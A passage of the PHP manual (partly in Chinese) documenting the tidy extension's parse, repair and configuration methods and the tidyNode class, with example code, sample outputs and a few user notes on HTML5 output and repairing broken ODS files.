(PHP 5 >= 5.1.0, PHP 7, PHP 8)

tidy::getOptDoc -- tidy_get_opt_doc — Returns the documentation for the given option name

说明

面向对象风格

public tidy::getOptDoc(string $option): string|false

过程化风格

tidy_get_opt_doc(tidy $tidy, string $option): string|false

tidy_get_opt_doc() returns the documentation for the given option name.

Note:

You need at least libtidy from 25 April, 2005 for this function be available.

参数

tidy

The Tidy 对象。

option

The option name

返回值

Returns a string if the option exists and has documentation available, or false otherwise.

示例

Example #1 Print all options along with their documentation and default value

<?php

$tidy = new tidy;
$config = $tidy->getConfig();

ksort($config);

foreach ($config as $opt => $val) {

if (!$doc = $tidy->getOptDoc($opt))
$doc = 'no documentation available!';

$val = ($tidy->getOpt($opt) === true) ? 'true' : $val;
$val = ($tidy->getOpt($opt) === false) ? 'false' : $val;

echo "<p><b>$opt</b> (default: '$val')<br />".
"$doc</p><hr />\n";
}

?>

参见

  • tidy::getconfig() - Get current Tidy configuration
  • tidy::getopt() - Returns the value of the specified configuration option for the tidy document

User Contributed Notes

There are no user contributed notes for this page.


Get release date (version) for Tidy library

  • ? tidy::getOptDoc
  • tidy::getStatus ?
  • PHP Manual
  • tidy
  • Get release date (version) for Tidy library

tidy::getRelease

tidy_get_release

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getRelease -- tidy_get_release — Get release date (version) for Tidy library

说明

面向对象风格

public tidy::getRelease(): string

过程化风格

tidy_get_release(): string

Gets the release date of the Tidy library.

参数

此函数没有参数。

返回值

Returns a string with the release date of the Tidy library, which may be 'unknown'.

User Contributed Notes

There are no user contributed notes for this page.


Get status of specified document

  • ? tidy::getRelease
  • tidy::head ?
  • PHP Manual
  • tidy
  • Get status of specified document

tidy::getStatus

tidy_get_status

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getStatus -- tidy_get_status — Get status of specified document

说明

面向对象风格

public tidy::getStatus(): int

过程化风格

tidy_get_status(tidy $tidy): int

Returns the status for the specified tidy tidy.

参数

tidy

The Tidy 对象。

返回值

Returns 0 if no error/warning was raised, 1 for warnings or accessibility errors, or 2 for errors.

示例

Example #1 tidy::getStatus() example

<?php
$html = '<p>paragraph</i>';
$tidy = new tidy();
$tidy->parseString($html);

$tidy2 = new tidy();
$html2 = '<bogus>test</bogus>';
$tidy2->parseString($html2);

echo $tidy->getStatus(); //1

echo $tidy2->getStatus(); //2
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns a tidyNode object starting from the <head> tag of the tidy parse tree

  • ? tidy::getStatus
  • tidy::html ?
  • PHP Manual
  • tidy
  • Returns a tidyNode object starting from the <head> tag of the tidy parse tree

tidy::head

tidy_get_head

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::head -- tidy_get_head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree

说明

面向对象风格

public tidy::head(): ?tidyNode

过程化风格

tidy_get_head(tidy $tidy): ?tidyNode

Returns a tidyNode object starting from the <head> tag of the tidy parse tree.

参数

tidy

The Tidy 对象。

返回值

Returns the tidyNode object.

示例

Example #1 tidy::head() example

<?php
$html = '
<html>
<head>
<title>test</title>
</head>
<body>
<p>paragraph</p>
</body>
</html>';

$tidy = tidy_parse_string($html);

$head = $tidy->head();
echo $head->value;
?>

以上示例会输出：

<head>
<title>test</title>
</head>

参见

  • tidy::body() - Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::html() - Returns a tidyNode object starting from the <html> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.


Returns a tidyNode object starting from the <html> tag of the tidy parse tree

  • ? tidy::head
  • tidy::isXhtml ?
  • PHP Manual
  • tidy
  • Returns a tidyNode object starting from the <html> tag of the tidy parse tree

tidy::html

tidy_get_html

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::html -- tidy_get_html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree

说明

面向对象风格

public tidy::html(): ?tidyNode

过程化风格

tidy_get_html(tidy $tidy): ?tidyNode

Returns a tidyNode object starting from the <html> tag of the tidy parse tree.

参数

tidy

The Tidy 对象。

返回值

Returns the tidyNode object.

示例

Example #1 tidy::html() example

<?php
$html = '
<html>
<head>
<title>test</title>
</head>
<body>
<p>paragraph</p>
</body>
</html>';

$tidy = tidy_parse_string($html);

$html = $tidy->html();
echo $html->value;
?>

以上示例会输出：

<html>
<head>
<title>test</title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

参见

  • tidy::body() - Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::head() - Returns a tidyNode object starting from the <head> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.


Indicates if the document is a XHTML document

  • ? tidy::html
  • tidy::isXml ?
  • PHP Manual
  • tidy
  • Indicates if the document is a XHTML document

tidy::isXhtml

tidy_is_xhtml

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::isXhtml -- tidy_is_xhtml — Indicates if the document is a XHTML document

说明

面向对象风格

public tidy::isXhtml(): bool

过程化风格

tidy_is_xhtml(tidy $tidy): bool

Tells if the document is a XHTML document.

参数

tidy

The Tidy 对象。

返回值

This function returns true if the specified tidy tidy is a XHTML document, or false otherwise.

Warning

This function is not yet implemented in the Tidylib itself, so it always return false.

User Contributed Notes

There are no user contributed notes for this page.


Indicates if the document is a generic (non HTML/XHTML) XML document

  • ? tidy::isXhtml
  • tidy::parseFile ?
  • PHP Manual
  • tidy
  • Indicates if the document is a generic (non HTML/XHTML) XML document

tidy::isXml

tidy_is_xml

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::isXml -- tidy_is_xml — Indicates if the document is a generic (non HTML/XHTML) XML document

说明

面向对象风格

public tidy::isXml(): bool

过程化风格

tidy_is_xml(tidy $tidy): bool

Tells if the document is a generic (non HTML/XHTML) XML document.

参数

tidy

The Tidy 对象。

返回值

This function returns true if the specified tidy tidy is a generic XML document (non HTML/XHTML), or false otherwise.

Warning

This function is not yet implemented in the Tidylib itself, so it always return false.

User Contributed Notes

There are no user contributed notes for this page.


Parse markup in file or URI

  • ? tidy::isXml
  • tidy::parseString ?
  • PHP Manual
  • tidy
  • Parse markup in file or URI

tidy::parseFile

tidy_parse_file

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::parseFile -- tidy_parse_file — Parse markup in file or URI

说明

面向对象风格

public tidy::parseFile(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): bool

过程化风格

tidy_parse_file(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): tidy|false

Parses the given file.

参数

filename

If the filename parameter is given, this function will also read that file and initialize the object with the file, acting like tidy_parse_file().

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, see » http://api.html-tidy.org/#quick-reference.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

useIncludePath

Search for the file in the include_path.

返回值

tidy::parseFile() returns true on success. tidy_parse_file() returns a new tidy instance on success. Both, the method and the function return false on failure.

更新日志

版本 | 说明
8.0.0 | config and encoding are nullable now.

示例

Example #1 tidy::parseFile() example

<?php
$tidy = new tidy();
$tidy->parseFile('file.html');

$tidy->cleanRepair();

if(!empty($tidy->errorBuffer)) {
echo "The following errors or warnings occurred:\n";
echo $tidy->errorBuffer;
}
?>

参见

  • tidy::parsestring() - Parse a document stored in a string
  • tidy::repairfile() - Repair a file and return it as a string
  • tidy::repairstring() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.


Parse a document stored in a string

  • ? tidy::parseFile
  • tidy::repairFile ?
  • PHP Manual
  • tidy
  • Parse a document stored in a string

tidy::parseString

tidy_parse_string

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::parseString -- tidy_parse_string — Parse a document stored in a string

说明

面向对象风格

public tidy::parseString(string $string, array|string|null $config = null, ?string $encoding = null): bool

过程化风格

tidy_parse_string(string $string, array|string|null $config = null, ?string $encoding = null): tidy|false

Parses a document stored in a string.

参数

string

The data to be parsed.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, visit » http://api.html-tidy.org/#quick-reference.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

返回值

tidy::parseString() returns true on success. tidy_parse_string() returns a new tidy instance on success. Both, the method and the function return false on failure.

更新日志

版本 | 说明
8.0.0 | config and encoding are nullable now.

示例

Example #1 tidy::parseString() example

<?php
ob_start();
?>

<html>
<head>
<title>test</title>
</head>
<body>
<p>error<br>another line</i>
</body>
</html>

<?php

$buffer = ob_get_clean();
$config = array('indent' => TRUE,
'output-xhtml' => TRUE,
'wrap' => 200);

$tidy = tidy_parse_string($buffer, $config, 'UTF8');

$tidy->cleanRepair();
echo $tidy;
?>

以上示例会输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <title>
      test
    </title>
  </head>
  <body>
    <p>
      error<br />
      another line
    </p>
  </body>
</html>

参见

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::repairFile() - Repair a file and return it as a string
  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

steven at nevvix dot com 09-Aug-2018 03:36
<?php
/**
 * Simpler version without pretty print config options.
 */
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    $config += [
        'doctype' => '<!DOCTYPE html>',
        'drop-empty-elements' => 0,
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
        'tidy-mark' => 0,
    ];
    $html = tidy_parse_string($html, $config, $encoding); // doctype not inserted
    tidy_clean_repair($html); // doctype inserted
    return $html;
}

$html = '</z><p><a href="#">Link</a></p><p><img src="logo.png"/>Se?ond para</p><i class="fa"></i><p></p>';

echo tidy_html5($html);

<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<p><a href="#">Link</a></p>
<p><img src="logo.png">Se?ond para</p>
<i class="fa"></i>
<p></p>
</body>
</html>

echo tidy_html5($html, ['indent'=>2, 'indent-spaces'=>4]);

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <p><a href="#">Link</a></p>
    <p><img src="logo.png">Se?ond para</p><i class="fa"></i>
    <p></p>
</body>
</html>

echo tidy_html5($html, ['indent'=>1], 'ascii');

<!DOCTYPE html>
<html>
  <head>
    <title></title>
  </head>
  <body>
    <p>
      <a href="#">Link</a>
    </p>
    <p>
      <img src="logo.png">Se&Atilde;&sect;ond para
    </p><i class="fa"></i>
    <p></p>
  </body>
</html>

echo tidy_html5($html, ['show-body-only'=>1]);

<p><a href="#">Link</a></p>
<p><img src="logo.png">Se?ond para</p>
<i class="fa"></i>
<p></p>
steven at nevvix dot com 09-Aug-2018 12:57
<?php
/**
* UTF-8 HTML5-compatible Tidy
*
* @param string $html
* @param array $config
* @param string $encoding
* @link http://tidy.sourceforge.net/docs/quickref.html
*/
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    $config += [
        'clean'       => TRUE,
        'doctype'     => 'omit',
        'indent'      => 2, // auto
        'output-html' => TRUE,
        'tidy-mark'   => FALSE,
        'wrap'        => 0,
        // HTML5 tags
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
    ];
    $html = tidy_parse_string($html, $config, $encoding);
    tidy_clean_repair($html);
    return '<!DOCTYPE html>' . PHP_EOL . $html;
}

$html = '</z><p><a href="#">Link</a></p><p>Second para</p>';
echo tidy_html5($html);

Output:
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <p><a href="#">Link</a></p>
  <p>Second para</p>
</body>
</html>


Repair a file and return it as a string

  • ? tidy::parseString
  • tidy::repairString ?
  • PHP Manual
  • tidy
  • Repair a file and return it as a string

tidy::repairFile

tidy_repair_file

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::repairFile -- tidy_repair_file — Repair a file and return it as a string

说明

面向对象风格

public static tidy::repairFile(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): string|false

过程化风格

tidy_repair_file(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): string|false

Repairs the given file and returns it as a string.

参数

filename

The file to be repaired.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

Check http://tidy.sourceforge.net/docs/quickref.html for an explanation about each option.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

useIncludePath

Search for the file in the include_path.

返回值

Returns the repaired contents as a string, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | tidy::repairFile() is a static method now.
8.0.0 | config and encoding are nullable now.

示例

Example #1 tidy::repairFile() example

<?php
$file = 'file.html';

$tidy = new tidy();
$repaired = $tidy->repairfile($file);
rename($file, $file . '.bak');

file_put_contents($file, $repaired);
?>

参见

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string
  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.


Repair a string using an optionally provided configuration file

  • ? tidy::repairFile
  • tidy::root ?
  • PHP Manual
  • tidy
  • Repair a string using an optionally provided configuration file

tidy::repairString

tidy_repair_string

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::repairString -- tidy_repair_string — Repair a string using an optionally provided configuration file

说明

面向对象风格

public static tidy::repairString(string $string, array|string|null $config = null, ?string $encoding = null): string|false

过程化风格

tidy_repair_string(string $string, array|string|null $config = null, ?string $encoding = null): string|false

Repairs the given string.

参数

string

The data to be repaired.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

Check » http://api.html-tidy.org/#quick-reference for an explanation about each option.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

返回值

Returns the repaired string, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | tidy::repairString() is a static method now.
8.0.0 | config and encoding are nullable now.
8.0.0 | This function no longer accepts the useIncludePath parameter.

示例

Example #1 tidy::repairString() example

<?php
ob_start();
?>

<html>
<head>
<title>test</title>
</head>
<body>
<p>error</i>
</body>
</html>

<?php

$buffer = ob_get_clean();
$tidy = new tidy();
$clean = $tidy->repairString($buffer);

echo $clean;
?>

以上示例会输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>test</title>
</head>
<body>
<p>error</p>
</body>
</html>

参见

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string
  • tidy::repairFile() - Repair a file and return it as a string

User Contributed Notes

Romolo 23-May-2017 10:48
Using tidy is very simple to fix a broken ods/odt document
I wrote the following code to be run from command line

<?php
$zip = new ZipArchive();
if ($zip->open($argv[1])) {
  $fp = $zip->getStream('content.xml'); //file inside archive
  if(!$fp)
    die("Error: can't get stream to document file");
  $stat = $zip->statName('content.xml');
  $buf = ""; //file buffer
  ob_start(); //to capture CRC error message
    while (!feof($fp)) {
      $buf .= fread($fp, 2048);
    }
    $s = ob_get_contents();
  ob_end_clean();
  fclose($fp);
  $zip->close();
  $config = array(
      'indent' => true,
      'clean' => true,
      'input-xml'  => true,
      'output-xml' => true,
      'wrap'       => false
  );
  $tidy = new Tidy();
  $xml = $tidy->repairstring($buf, $config);
  $array=split("\n",$xml);
  $file=tempnam("/tmp","xml");
  $fp=fopen($file,"rw+");
  foreach ($array as $key=>$value) {
    fwrite($fp,trim($value),strlen(trim($value)));
    if ($key==0) {
      fwrite($fp,"\n");
    }
  }
  fclose($fp);
  if ($zip->open($argv[1]) === TRUE) {
    $zip->deleteName('content.xml');
    $zip->addFile($file, 'content.xml');
    $zip->close();
    echo 'recovery complete';
  } else {
    echo 'recovery failed';
  }
  unlink($file);
}
?>

save it to a file called fixdoc and invoke as:
php fixdoc yourbrokendoc

for your safety, please work on a copy of your doc.
dan-dot-hunsaker-at-gmail-dot-com 16-Jul-2011 04:49
The docs referenced at http://tidy.sourceforge.net/docs/quickref.html above state that the configuration option 'sort-attributes' is an enumeration of 'none' and 'alpha', thereby specifying that strings of either form are the acceptable values.  This may not be the case, however - on my system, the option was not honored until I set it to true.  This may also be the case with other options, so experiment a bit.  The output of tidy::getConfig() may be useful in this regard.
gnuffo1 at gmail dot com 23-Aug-2010 05:44
You can also use this function to repair xml, for example if stray ampersands etc are breaking it:

<?php
$xml = tidy_repair_string($xml, array(
    'output-xml' => true,
    'input-xml' => true
));
?>


Returns a tidyNode object representing the root of the tidy parse tree

  • ? tidy::repairString
  • tidyNode ?
  • PHP Manual
  • tidy
  • Returns a tidyNode object representing the root of the tidy parse tree

tidy::root

tidy_get_root

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::root -- tidy_get_root — Returns a tidyNode object representing the root of the tidy parse tree

说明

面向对象风格

public tidy::root(): ?tidyNode

过程化风格

tidy_get_root(tidy $tidy): ?tidyNode

Returns a tidyNode object representing the root of the tidy parse tree.

参数

tidy

The Tidy 对象。

返回值

Returns the tidyNode object.

示例

Example #1 tidy::root() example

<?php

$html = <<< HTML
<html><body>

<p>paragraph</p>
<br/>

</body></html>
HTML;

$tidy = tidy_parse_string($html);
dump_nodes($tidy->root(), 1);

function dump_nodes($node, $indent) {

if($node->hasChildren()) {
foreach($node->child as $child) {
echo str_repeat('.', $indent*2) . ($child->name ? $child->name : '"'.$child->value.'"'). "\n";

dump_nodes($child, $indent+1);
}
}
}
?>

以上示例会输出：

..html
....head
......title
....body
......p
........"paragraph"
......br

User Contributed Notes

There are no user contributed notes for this page.


The tidyNode class

(PHP 5, PHP 7, PHP 8)

简介

An HTML node in an HTML file, as detected by tidy.

类摘要

final class tidyNode {
/* 属性 */
public readonly string $value;
public readonly string $name;
public readonly int $type;
public readonly int $line;
public readonly int $column;
public readonly bool $proprietary;
public readonly ?int $id;
public readonly ?array $attribute;
public readonly ?array $child;
/* 方法 */
private __construct()
public getParent(): ?tidyNode
public hasChildren(): bool
public hasSiblings(): bool
public isAsp(): bool
public isComment(): bool
public isHtml(): bool
public isJste(): bool
public isPhp(): bool
public isText(): bool
}

属性

value

The HTML representation of the node, including the surrounding tags.

name

The name of the HTML node

type

The type of the node (one of the nodetype constants, e.g. TIDY_NODETYPE_PHP)

line

The line number at which the tags is located in the file

column

The column number at which the tags is located in the file

proprietary

Indicates if the node is a proprietary tag

id

The ID of the node (one of the tag constants, e.g. TIDY_TAG_FRAME)

attribute

An array of string, representing the attributes names (as keys) of the current node.

child

An array of tidyNode, representing the children of the current node.

Table of Contents

  • tidyNode::__construct — Private constructor to disallow direct instantiation
  • tidyNode::getParent — Returns the parent node of the current node
  • tidyNode::hasChildren — Checks if a node has children
  • tidyNode::hasSiblings — Checks if a node has siblings
  • tidyNode::isAsp — Checks if this node is ASP
  • tidyNode::isComment — Checks if a node represents a comment
  • tidyNode::isHtml — Checks if a node is an element node
  • tidyNode::isJste — Checks if this node is JSTE
  • tidyNode::isPhp — Checks if a node is PHP
  • tidyNode::isText — Checks if a node represents text (no markup)

User Contributed Notes

There are no user contributed notes for this page.


Private constructor to disallow direct instantiation

  • ? tidyNode
  • tidyNode::getParent ?
  • PHP Manual
  • tidyNode
  • Private constructor to disallow direct instantiation

tidyNode::__construct

(PHP 5, PHP 7, PHP 8)

tidyNode::__construct — Private constructor to disallow direct instantiation

说明

private tidyNode::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Returns the parent node of the current node

  • ? tidyNode::__construct
  • tidyNode::hasChildren ?
  • PHP Manual
  • tidyNode
  • Returns the parent node of the current node

tidyNode::getParent

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

tidyNode::getParent — Returns the parent node of the current node

说明

public tidyNode::getParent(): ?tidyNode

Returns the parent node of the current node.

参数

此函数没有参数。

返回值

Returns a tidyNode if the node has a parent, or null otherwise.

示例

Example #1 tidyNode::hasChildren() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>
Hello World
</body>
</html>

HTML;

$tidy = tidy_parse_string($html);
$num = 0;

$node = $tidy->html()->child[0]->child[0];

var_dump($node->getparent()->name);
?>

以上示例会输出：

string(4) "head"

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node has children

  • ? tidyNode::getParent
  • tidyNode::hasSiblings ?
  • PHP Manual
  • tidyNode
  • Checks if a node has children

tidyNode::hasChildren

(PHP 5, PHP 7, PHP 8)

tidyNode::hasChildren — Checks if a node has children

说明

public tidyNode::hasChildren(): bool

Tells if the node has children.

参数

此函数没有参数。

返回值

Returns true if the node has children, false otherwise.

示例

Example #1 tidyNode::hasChildren() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>

<?php
// PHP code
echo 'hello world!';
?>

<%
/* ASP code */
response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// the head tag
var_dump($tidy->html()->child[0]->hasChildren());

// the php inside the head tag
var_dump($tidy->html()->child[0]->child[0]->hasChildren());

?>

以上示例会输出：

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node has siblings

  • ? tidyNode::hasChildren
  • tidyNode::isAsp ?
  • PHP Manual
  • tidyNode
  • Checks if a node has siblings

tidyNode::hasSiblings

(PHP 5, PHP 7, PHP 8)

tidyNode::hasSiblings — Checks if a node has siblings

说明

public tidyNode::hasSiblings(): bool

Tells if the node has siblings.

参数

此函数没有参数。

返回值

Returns true if the node has siblings, false otherwise.

示例

Example #1 tidyNode::hasSiblings() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>

<?php
// PHP code
echo 'hello world!';
?>

<%
/* ASP code */
response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// the html tag
var_dump($tidy->html()->hasSiblings());

// the head tag
var_dump($tidy->html()->child[0]->hasSiblings());

?>

以上示例会输出：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Checks if this node is ASP

  • ? tidyNode::hasSiblings
  • tidyNode::isComment ?
  • PHP Manual
  • tidyNode
  • Checks if this node is ASP

tidyNode::isAsp

(PHP 5, PHP 7, PHP 8)

tidyNode::isAsp — Checks if this node is ASP

说明

public tidyNode::isAsp(): bool

Tells whether the current node is ASP.

参数

此函数没有参数。

返回值

Returns true if the node is ASP, false otherwise.

示例

Example #1 Extract ASP code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>

<?php
// PHP code
echo 'hello world!';
?>

<%
/* ASP code */
response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// check if the current node is of requested type
if($node->isAsp()) {
echo "\n\n# asp node #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// check if the current node has childrens
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

以上示例会输出：

# asp node #1
<%
  /* ASP code */
  response.write("Hello World!")
%>

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node represents a comment

  • ? tidyNode::isAsp
  • tidyNode::isHtml ?
  • PHP Manual
  • tidyNode
  • Checks if a node represents a comment

tidyNode::isComment

(PHP 5, PHP 7, PHP 8)

tidyNode::isComment — Checks if a node represents a comment

说明

public tidyNode::isComment(): bool

Tells if the node is a comment.

参数

此函数没有参数。

返回值

Returns true if the node is a comment, false otherwise.

示例

Example #1 Extract comments from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>

<?php
// PHP code
echo 'hello world!';
?>

<%
/* ASP code */
response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// check if the current node is of requested type
if($node->isComment()) {
echo "\n\n# comment node #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// check if the current node has childrens
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

以上示例会输出：

# comment node #1
<!-- Comments -->

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node is an element node

  • ? tidyNode::isComment
  • tidyNode::isJste ?
  • PHP Manual
  • tidyNode
  • Checks if a node is an element node

tidyNode::isHtml

(PHP 5, PHP 7, PHP 8)

tidyNode::isHtml — Checks if a node is an element node

说明

public tidyNode::isHtml(): bool

Tells if the node is an element node, but not the root node of the document.

参数

此函数没有参数。

返回值

Returns true if the node is an element node, but not the root node of the document, false otherwise.

更新日志

版本 | 说明
7.3.24, 7.4.12 | This function has been fixed to have reasonable behavior. Previously, almost any node was reported as being an HTML node.

示例

Example #1 Extract HTML code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>

<?php
// PHP code
echo 'hello world!';
?>

<%
/* ASP code */
response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {
// check if the current node is of requested type
if($node->isHtml()) {
echo "\n\n# html node #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// check if the current node has childrens
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

以上示例会输出：

# html node #1
<html>
<head>
<?php echo '<title>title</title>'; ?><#
  /* JSTE code */
  alert('Hello World');
#>
<title></title>
</head>
<body>
<?php
  // PHP code
  echo 'hello world!';
?><%
  /* ASP code */
  response.write("Hello World!")
%><!-- Comments -->
Hello WorldOutside HTML
</body>
</html>

# html node #2
<head>
<?php echo '<title>title</title>'; ?><#
  /* JSTE code */
  alert('Hello World');
#>
<title></title>
</head>

# html node #3
<title></title>

# html node #4
<body>
<?php
  // PHP code
  echo 'hello world!';
?><%
  /* ASP code */
  response.write("Hello World!")
%><!-- Comments -->
Hello WorldOutside HTML
</body>

User Contributed Notes

There are no user contributed notes for this page.


Checks if this node is JSTE

  • ? tidyNode::isHtml
  • tidyNode::isPhp ?
  • PHP Manual
  • tidyNode
  • Checks if this node is JSTE

tidyNode::isJste

(PHP 5, PHP 7, PHP 8)

tidyNode::isJste — Checks if this node is JSTE

说明

public tidyNode::isJste(): bool

Tells if the node is JSTE.

参数

此函数没有参数。

返回值

Returns true if the node is JSTE, false otherwise.

示例

Example #1 Extract JSTE code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>

<?php
// PHP code
echo 'hello world!';
?>

<%
/* ASP code */
response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// check if the current node is of requested type
if($node->isJste()) {
echo "\n\n# jste node #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// check if the current node has childrens
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

以上示例会输出：

# jste node #1
<#
  /* JSTE code */
  alert('Hello World');
#>

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node is PHP

  • ? tidyNode::isJste
  • tidyNode::isText ?
  • PHP Manual
  • tidyNode
  • Checks if a node is PHP

tidyNode::isPhp

(PHP 5, PHP 7, PHP 8)

tidyNode::isPhp — Checks if a node is PHP

说明

public tidyNode::isPhp(): bool

Tells if the node is PHP.

参数

此函数没有参数。

返回值

Returns true if the current node is PHP code, false otherwise.

示例

Example #1 Extract PHP code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>

<?php
// PHP code
echo 'hello world!';
?>

<%
/* ASP code */
response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

